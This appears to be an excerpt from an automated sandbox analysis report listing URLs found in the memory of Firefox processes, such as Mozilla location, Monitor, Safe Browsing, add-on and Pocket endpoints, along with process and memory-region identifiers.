Source: firefox.exe, 00000015.00000002.2944981005.0000025940656000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://json-schema.org/draft/2020-12/schema/
Source: firefox.exe, 00000015.00000002.2944981005.0000025940656000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://json-schema.org/draft/2020-12/schema/=
Source: firefox.exe, 00000015.00000002.2939307905.000002594022D000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000027.00000002.3124908460.000001EF35B83000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://lit.dev/docs/libraries/standalone-templates/#rendering-lit-html-templates
Source: firefox.exe, 00000015.00000002.2939307905.000002594022D000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000027.00000002.3124908460.000001EF35B83000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://lit.dev/docs/templates/directives/#stylemap
Source: firefox.exe, 00000015.00000002.2939307905.000002594022D000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000027.00000002.3124908460.000001EF35B83000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://lit.dev/docs/templates/expressions/#child-expressions)
Source: firefox.exe, 00000015.00000002.2881592543.0000025933A7B000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000015.00000002.2915888122.000002593A26F000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000027.00000002.3094683314.000001EF2F4E4000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://location.services.mozilla.com
Source: firefox.exe, 00000015.00000002.2915569464.000002593A1BF000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://location.services.mozilla.com/
Source: firefox.exe, 00000015.00000002.2887012398.0000025935240000.00000002.08000000.00040000.00000000.sdmp, firefox.exe, 00000015.00000002.2884763162.00000259344DF000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000016.00000002.2867357844.000002ADC1560000.00000002.10000000.00040000.00000000.sdmp, firefox.exe, 00000019.00000002.2866695499.000001CBE7900000.00000002.08000000.00040000.00000000.sdmp, firefox.exe, 00000027.00000002.3055217724.000001EF29EEA000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://location.services.mozilla.com/v1/country?key=%MOZILLA_API_KEY%
Source: firefox.exe, 00000015.00000002.2915022634.000002593A016000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000015.00000002.2923113526.000002593ABBE000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000015.00000003.2822245342.000002593ABBE000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000015.00000002.2909163190.0000025939126000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000027.00000002.3103108635.000001EF300E6000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000027.00000002.3099000605.000001EF2FAC9000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://location.services.mozilla.com/v1/country?key=7e40f68c-7938-4c5d-9f95-e61647c213eb
Source: firefox.exe, 00000015.00000002.2878414441.000001EDFCC04000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000015.00000002.2929941467.000002593B67D000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000015.00000002.2917321112.000002593A41B000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000027.00000002.3115028552.000001EF311BB000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000027.00000002.3127918517.0000093E7B300000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://login.live.com
Source: firefox.exe, 00000015.00000002.2884059485.00000259343B9000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000015.00000002.2889978017.00000259358BF000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000015.00000002.2896102021.0000025937F21000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000015.00000002.2884763162.0000025934473000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000015.00000002.2896388912.0000025938065000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000027.00000002.3075845573.000001EF2D713000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000027.00000002.3076567128.000001EF2D803000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000027.00000002.3073652965.000001EF2D206000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://mail.google.com/mail/?extsrc=mailto&url=%s
Source: firefox.exe, 00000015.00000002.2889978017.00000259358BF000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000015.00000002.2884763162.0000025934473000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000015.00000002.2882491080.0000025933F7D000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000015.00000002.2896388912.0000025938065000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000027.00000002.3075845573.000001EF2D713000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000027.00000002.3076567128.000001EF2D803000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000027.00000002.3075456153.000001EF2D6AF000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://mail.inbox.lv/compose?to=%s
Source: firefox.exe, 00000015.00000002.2889978017.00000259358BF000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000027.00000002.3075845573.000001EF2D713000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://mail.inbox.lv/compose?to=%sv
Source: firefox.exe, 00000015.00000002.2889978017.00000259358BF000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000015.00000002.2884763162.0000025934473000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000015.00000002.2882491080.0000025933F7D000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000015.00000002.2896388912.0000025938065000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000027.00000002.3075845573.000001EF2D713000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000027.00000002.3076567128.000001EF2D803000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000027.00000002.3075456153.000001EF2D6AF000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://mail.yahoo.co.jp/compose/?To=%s
Source: firefox.exe, 00000015.00000002.2889978017.00000259358BF000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000027.00000002.3075845573.000001EF2D713000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://mail.yahoo.co.jp/compose/?To=%st
Source: firefox.exe, 00000015.00000002.2887012398.0000025935240000.00000002.08000000.00040000.00000000.sdmp, firefox.exe, 00000016.00000002.2867357844.000002ADC1560000.00000002.10000000.00040000.00000000.sdmp, firefox.exe, 00000019.00000002.2866695499.000001CBE7900000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: https://mitmdetection.services.mozilla.com/
Source: firefox.exe, 00000015.00000002.2879062103.0000025928303000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000015.00000002.2889978017.00000259358AD000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000027.00000002.3072972441.000001EF2D1F2000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000027.00000002.3051133453.000001EF29652000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000027.00000002.3074810196.000001EF2D5F0000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://monitor.firefox.com
Source: firefox.exe, 00000015.00000002.2887012398.0000025935240000.00000002.08000000.00040000.00000000.sdmp, firefox.exe, 00000016.00000002.2867357844.000002ADC1560000.00000002.10000000.00040000.00000000.sdmp, firefox.exe, 00000019.00000002.2866695499.000001CBE7900000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: https://monitor.firefox.com/?entrypoint=protection_report_monitor&utm_source=about-protections
Source: firefox.exe, 00000015.00000002.2887012398.0000025935240000.00000002.08000000.00040000.00000000.sdmp, firefox.exe, 00000016.00000002.2867357844.000002ADC1560000.00000002.10000000.00040000.00000000.sdmp, firefox.exe, 00000019.00000002.2866695499.000001CBE7900000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: https://monitor.firefox.com/about
Source: firefox.exe, 00000015.00000002.2887012398.0000025935240000.00000002.08000000.00040000.00000000.sdmp, firefox.exe, 00000016.00000002.2867357844.000002ADC1560000.00000002.10000000.00040000.00000000.sdmp, firefox.exe, 00000019.00000002.2866695499.000001CBE7900000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: https://monitor.firefox.com/breach-details/
Source: firefox.exe, 00000015.00000002.2887012398.0000025935240000.00000002.08000000.00040000.00000000.sdmp, firefox.exe, 00000016.00000002.2867357844.000002ADC1560000.00000002.10000000.00040000.00000000.sdmp, firefox.exe, 00000019.00000002.2866695499.000001CBE7900000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: https://monitor.firefox.com/oauth/init?entrypoint=protection_report_monitor&utm_source=about-protect
Source: firefox.exe, 00000015.00000002.2887012398.0000025935240000.00000002.08000000.00040000.00000000.sdmp, firefox.exe, 00000016.00000002.2867357844.000002ADC1560000.00000002.10000000.00040000.00000000.sdmp, firefox.exe, 00000019.00000002.2866695499.000001CBE7900000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: https://monitor.firefox.com/user/breach-stats?includeResolved=true
Source: firefox.exe, 00000015.00000002.2887012398.0000025935240000.00000002.08000000.00040000.00000000.sdmp, firefox.exe, 00000016.00000002.2867357844.000002ADC1560000.00000002.10000000.00040000.00000000.sdmp, firefox.exe, 00000019.00000002.2866695499.000001CBE7900000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: https://monitor.firefox.com/user/dashboard
Source: firefox.exe, 00000015.00000002.2887012398.0000025935240000.00000002.08000000.00040000.00000000.sdmp, firefox.exe, 00000016.00000002.2867357844.000002ADC1560000.00000002.10000000.00040000.00000000.sdmp, firefox.exe, 00000019.00000002.2866695499.000001CBE7900000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: https://monitor.firefox.com/user/preferences
Source: firefox.exe, 00000015.00000002.2884763162.0000025934403000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://monitor.firefox.comhttps://support.mozilla.orgtestPermissionFromPrincipalbrowser.urlbar.sugg
Source: firefox.exe, 00000015.00000002.2884763162.0000025934403000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://mozilla-hub.atlassian.net/browse/SDK-405
Source: firefox.exe, 00000015.00000002.2887012398.0000025935240000.00000002.08000000.00040000.00000000.sdmp, firefox.exe, 00000016.00000002.2867357844.000002ADC1560000.00000002.10000000.00040000.00000000.sdmp, firefox.exe, 00000019.00000002.2866695499.000001CBE7900000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: https://mozilla-ohttp-fakespot.fastly-edge.com/
Source: firefox.exe, 00000015.00000002.2887012398.0000025935240000.00000002.08000000.00040000.00000000.sdmp, firefox.exe, 00000016.00000002.2867357844.000002ADC1560000.00000002.10000000.00040000.00000000.sdmp, firefox.exe, 00000019.00000002.2866695499.000001CBE7900000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: https://mozilla.cloudflare-dns.com/dns-query
Source: firefox.exe, 00000015.00000002.2962446017.000016D72D504000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://mozilla.org/
Source: firefox.exe, 00000015.00000002.2884763162.0000025934403000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000027.00000002.3058191704.000001EF2A349000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000027.00000003.2999622236.000001EF2A49B000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://mzl.la/3NS9KJd
Source: firefox.exe, 00000015.00000002.2887012398.0000025935240000.00000002.08000000.00040000.00000000.sdmp, firefox.exe, 00000016.00000002.2867357844.000002ADC1560000.00000002.10000000.00040000.00000000.sdmp, firefox.exe, 00000019.00000002.2866695499.000001CBE7900000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: https://normandy.cdn.mozilla.net/api/v1
Source: firefox.exe, 00000015.00000002.2887012398.0000025935240000.00000002.08000000.00040000.00000000.sdmp, firefox.exe, 00000016.00000002.2867357844.000002ADC1560000.00000002.10000000.00040000.00000000.sdmp, firefox.exe, 00000019.00000002.2866695499.000001CBE7900000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: https://oauth.accounts.firefox.com/v1
Source: firefox.exe, 00000015.00000002.2919695391.000002593A71C000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000015.00000002.2884763162.00000259344DF000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000027.00000002.3066712118.000001EF2C87C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://ok.ru/
Source: firefox.exe, 00000015.00000002.2889978017.00000259358BF000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000015.00000002.2884763162.0000025934473000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000015.00000002.2896388912.0000025938065000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000027.00000002.3075845573.000001EF2D713000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000027.00000002.3076567128.000001EF2D803000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://outlook.live.com/default.aspx?rru=compose&to=%s
Source: firefox.exe, 00000015.00000002.2887012398.0000025935240000.00000002.08000000.00040000.00000000.sdmp, firefox.exe, 00000016.00000002.2867357844.000002ADC1560000.00000002.10000000.00040000.00000000.sdmp, firefox.exe, 00000019.00000002.2866695499.000001CBE7900000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: https://play.google.com/store/apps/details?id=org.mozilla.firefox&referrer=utm_source%3Dprotection_r
Source: firefox.exe, 00000015.00000002.2887012398.0000025935240000.00000002.08000000.00040000.00000000.sdmp, firefox.exe, 00000016.00000002.2867357844.000002ADC1560000.00000002.10000000.00040000.00000000.sdmp, firefox.exe, 00000019.00000002.2866695499.000001CBE7900000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: https://play.google.com/store/apps/details?id=org.mozilla.firefox.vpn&referrer=utm_source%3Dfirefox-
Source: firefox.exe, 00000015.00000002.2889978017.00000259358BF000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000015.00000002.2884763162.0000025934473000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000015.00000002.2882491080.0000025933F7D000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000015.00000002.2896388912.0000025938065000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000027.00000002.3075845573.000001EF2D713000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000027.00000002.3076567128.000001EF2D803000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000027.00000002.3075456153.000001EF2D6AF000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://poczta.interia.pl/mh/?mailto=%s
Source: firefox.exe, 00000015.00000002.2889978017.00000259358BF000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000027.00000002.3075845573.000001EF2D713000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://poczta.interia.pl/mh/?mailto=%sx
Source: firefox.exe, 00000015.00000002.2887012398.0000025935240000.00000002.08000000.00040000.00000000.sdmp, firefox.exe, 00000016.00000002.2867357844.000002ADC1560000.00000002.10000000.00040000.00000000.sdmp, firefox.exe, 00000019.00000002.2866695499.000001CBE7900000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: https://profile.accounts.firefox.com/v1
Source: firefox.exe, 00000015.00000002.2887012398.0000025935240000.00000002.08000000.00040000.00000000.sdmp, firefox.exe, 00000015.00000002.2884763162.0000025934473000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000016.00000002.2867357844.000002ADC1560000.00000002.10000000.00040000.00000000.sdmp, firefox.exe, 00000019.00000002.2866695499.000001CBE7900000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: https://profiler.firefox.com
Source: firefox.exe, 00000015.00000002.2889978017.0000025935888000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000027.00000002.3074810196.000001EF2D570000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://profiler.firefox.com/
Source: firefox.exe, 00000015.00000002.2938420212.0000025940103000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000015.00000002.2884763162.0000025934473000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000027.00000002.3055217724.000001EF29E72000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://redux.js.org/api-reference/store#subscribe(listener)
Source: firefox.exe, 00000015.00000002.2887012398.0000025935240000.00000002.08000000.00040000.00000000.sdmp, firefox.exe, 00000016.00000002.2867357844.000002ADC1560000.00000002.10000000.00040000.00000000.sdmp, firefox.exe, 00000019.00000002.2866695499.000001CBE7900000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: https://relay.firefox.com/accounts/profile/?utm_medium=firefox-desktop&utm_source=modal&utm_campaign
Source: firefox.exe, 00000015.00000002.2887012398.0000025935240000.00000002.08000000.00040000.00000000.sdmp, firefox.exe, 00000016.00000002.2867357844.000002ADC1560000.00000002.10000000.00040000.00000000.sdmp, firefox.exe, 00000019.00000002.2866695499.000001CBE7900000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: https://relay.firefox.com/api/v1/
Source: firefox.exe, 00000015.00000002.2887012398.0000025935240000.00000002.08000000.00040000.00000000.sdmp, firefox.exe, 00000016.00000002.2867357844.000002ADC1560000.00000002.10000000.00040000.00000000.sdmp, firefox.exe, 00000019.00000002.2866695499.000001CBE7900000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: https://safebrowsing.google.com/safebrowsing/downloads?client=SAFEBROWSING_ID&appver=%MAJOR_VERSION%
Source: firefox.exe, 00000015.00000002.2944148777.000002594054B000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://safebrowsing.google.com/safebrowsing/gethash?client=SAFEBROWSING_ID&appver=118.0&pver=2.2
Source: firefox.exe, 00000015.00000002.2887012398.0000025935240000.00000002.08000000.00040000.00000000.sdmp, firefox.exe, 00000016.00000002.2867357844.000002ADC1560000.00000002.10000000.00040000.00000000.sdmp, firefox.exe, 00000019.00000002.2866695499.000001CBE7900000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: https://safebrowsing.googleapis.com/v4/fullHashes:find?$ct=application/x-protobuf&key=%GOOGLE_SAFEBR
Source: firefox.exe, 00000015.00000002.2936356785.000002593FDCB000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000015.00000002.2917321112.000002593A41B000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://safebrowsing.googleapis.com/v4/fullHashes:find?$ct=application/x-protobuf&key=AIzaSyC7jsptDS
Source: firefox.exe, 00000015.00000002.2887012398.0000025935240000.00000002.08000000.00040000.00000000.sdmp, firefox.exe, 00000016.00000002.2867357844.000002ADC1560000.00000002.10000000.00040000.00000000.sdmp, firefox.exe, 00000019.00000002.2866695499.000001CBE7900000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: https://safebrowsing.googleapis.com/v4/threatHits?$ct=application/x-protobuf&key=%GOOGLE_SAFEBROWSIN
Source: firefox.exe, 00000015.00000002.2887012398.0000025935240000.00000002.08000000.00040000.00000000.sdmp, firefox.exe, 00000016.00000002.2867357844.000002ADC1560000.00000002.10000000.00040000.00000000.sdmp, firefox.exe, 00000019.00000002.2866695499.000001CBE7900000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: https://safebrowsing.googleapis.com/v4/threatListUpdates:fetch?$ct=application/x-protobuf&key=%GOOGL
Source: firefox.exe, 00000015.00000002.2936356785.000002593FDCB000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000015.00000002.2917321112.000002593A41B000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://safebrowsing.googleapis.com/v4/threatListUpdates:fetch?$ct=application/x-protobuf&key=AIzaSy
Source: firefox.exe, 00000015.00000002.2887012398.0000025935240000.00000002.08000000.00040000.00000000.sdmp, firefox.exe, 00000016.00000002.2867357844.000002ADC1560000.00000002.10000000.00040000.00000000.sdmp, firefox.exe, 00000019.00000002.2866695499.000001CBE7900000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: https://sb-ssl.google.com/safebrowsing/clientreport/download?key=%GOOGLE_SAFEBROWSING_API_KEY%
Source: firefox.exe, 00000015.00000002.2879062103.0000025928303000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000015.00000002.2889978017.00000259358AD000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000027.00000002.3072972441.000001EF2D1F2000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000027.00000002.3051133453.000001EF29652000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000027.00000002.3074810196.000001EF2D5F0000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://screenshots.firefox.com
Source: firefox.exe, 00000015.00000003.2757162605.0000025937E60000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000015.00000002.2889978017.00000259358D7000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000015.00000002.2884763162.0000025934473000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000015.00000002.2917321112.000002593A41B000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000027.00000002.3085049318.000001EF2E903000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000027.00000002.3055217724.000001EF29EDA000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://screenshots.firefox.com/
Source: firefox.exe, 00000015.00000002.2884763162.0000025934403000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://screenshots.firefox.comError:
Source: firefox.exe, 00000015.00000003.2831553568.00000259412F0000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://searchfox.org/mozilla-central/source/toolkit/components/search/SearchUtils.jsm#145-152
Source: firefox.exe, 00000015.00000003.2822792525.00000259396EF000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000015.00000002.2911918698.00000259396A3000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000015.00000002.2917321112.000002593A478000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://services.addons.mozilla.org/api/v4/addons/addon
Source: firefox.exe, 00000015.00000002.2887012398.0000025935240000.00000002.08000000.00040000.00000000.sdmp, firefox.exe, 00000016.00000002.2867357844.000002ADC1560000.00000002.10000000.00040000.00000000.sdmp, firefox.exe, 00000019.00000002.2866695499.000001CBE7900000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: https://services.addons.mozilla.org/api/v4/addons/addon/
Source: firefox.exe, 00000015.00000002.2887012398.0000025935240000.00000002.08000000.00040000.00000000.sdmp, firefox.exe, 00000016.00000002.2867357844.000002ADC1560000.00000002.10000000.00040000.00000000.sdmp, firefox.exe, 00000019.00000002.2866695499.000001CBE7900000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: https://services.addons.mozilla.org/api/v4/addons/language-tools/?app=firefox&type=language&appversi
Source: firefox.exe, 00000015.00000002.2887012398.0000025935240000.00000002.08000000.00040000.00000000.sdmp, firefox.exe, 00000016.00000002.2867357844.000002ADC1560000.00000002.10000000.00040000.00000000.sdmp, firefox.exe, 00000019.00000002.2866695499.000001CBE7900000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: https://services.addons.mozilla.org/api/v4/discovery/?lang=%LOCALE%&edition=%DISTRIBUTION%
Source: firefox.exe, 00000015.00000002.2887012398.0000025935240000.00000002.08000000.00040000.00000000.sdmp, firefox.exe, 00000016.00000002.2867357844.000002ADC1560000.00000002.10000000.00040000.00000000.sdmp, firefox.exe, 00000019.00000002.2866695499.000001CBE7900000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: https://services.addons.mozilla.org/api/v5/addons/browser-mappings/?browser=%BROWSER%
Source: firefox.exe, 00000015.00000002.2894066055.00000259378FB000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000015.00000002.2944981005.000002594063F000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000015.00000003.2816546786.000002594063F000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://shavar.services.mozilla.com
Source: firefox.exe, 00000015.00000002.2911918698.0000025939696000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://shavar.services.mozilla.com/
Source: firefox.exe, 00000015.00000002.2944148777.000002594054B000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://shavar.services.mozilla.com/downloads?client=SAFEBROWSING_ID&appver=118.0&pver=2.2
Source: firefox.exe, 00000015.00000002.2924708904.000002593ACB5000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000015.00000002.2906919520.0000025938EF3000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000015.00000002.2917321112.000002593A41B000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://shavar.services.mozilla.com/downloads?client=navclient-auto-ffox&appver=118.0&pver=2.2
Source: firefox.exe, 00000015.00000002.2917321112.000002593A471000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://shavar.services.mozilla.com/downloads?client=navclient-auto-ffox&appver=118.0&pver=2.2http:/
Source: firefox.exe, 00000015.00000002.2887012398.0000025935240000.00000002.08000000.00040000.00000000.sdmp, firefox.exe, 00000016.00000002.2867357844.000002ADC1560000.00000002.10000000.00040000.00000000.sdmp, firefox.exe, 00000019.00000002.2866695499.000001CBE7900000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: https://shavar.services.mozilla.com/gethash?client=SAFEBROWSING_ID&appver=%MAJOR_VERSION%&pver=2.2
Source: firefox.exe, 00000015.00000002.2944148777.000002594054B000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://shavar.services.mozilla.com/gethash?client=SAFEBROWSING_ID&appver=118.0&pver=2.2
Source: firefox.exe, 00000015.00000002.2884763162.0000025934403000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000015.00000002.2917321112.000002593A471000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://shavar.services.mozilla.com/gethash?client=navclient-auto-ffox&appver=118.0&pver=2.2
Source: firefox.exe, 00000015.00000002.2917321112.000002593A471000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://shavar.services.mozilla.com/gethash?client=navclient-auto-ffox&appver=118.0&pver=2.2http://m
Source: firefox.exe, 00000015.00000002.2884763162.0000025934403000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000015.00000002.2917321112.000002593A492000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000015.00000002.2915888122.000002593A23A000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000027.00000002.3086366052.000001EF2EB9E000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000027.00000002.3055217724.000001EF29E72000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://smartblock.firefox.etp/facebook.svg
Source: firefox.exe, 00000015.00000002.2884763162.0000025934403000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000015.00000002.2917321112.000002593A492000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000015.00000002.2915888122.000002593A23A000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000027.00000002.3086366052.000001EF2EB9E000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000027.00000002.3055217724.000001EF29E72000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://smartblock.firefox.etp/play.svg
Source: firefox.exe, 00000015.00000002.2884763162.0000025934403000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://smartblock.firefox.etp/play.svgresource://gre/modules/addons/XPIProvider.jsm
Source: firefox.exe, 00000015.00000002.2887012398.0000025935240000.00000002.08000000.00040000.00000000.sdmp, firefox.exe, 00000016.00000002.2867357844.000002ADC1560000.00000002.10000000.00040000.00000000.sdmp, firefox.exe, 00000019.00000002.2866695499.000001CBE7900000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: https://snippets.cdn.mozilla.net/%STARTPAGE_VERSION%/%NAME%/%VERSION%/%APPBUILDID%/%BUILD_TARGET%/%L
Source: firefox.exe, 00000015.00000003.2805571289.000002593B7C6000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://spocs.getpocket.com
Source: firefox.exe, 00000015.00000002.2940088335.00000259403B5000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000015.00000002.2889978017.0000025935803000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000015.00000003.2805259789.000002593FDE0000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000015.00000002.2917321112.000002593A41B000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000019.00000002.2867425093.000001CBE7A12000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000027.00000002.3066712118.000001EF2C839000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000027.00000002.3074810196.000001EF2D5B2000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://spocs.getpocket.com/
Source: firefox.exe, 00000015.00000002.2940088335.00000259403B5000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000015.00000002.2889978017.0000025935803000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000015.00000002.2931474157.000002593B747000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000015.00000002.2917321112.000002593A41B000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000027.00000002.3074810196.000001EF2D5B2000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://spocs.getpocket.com/spocs
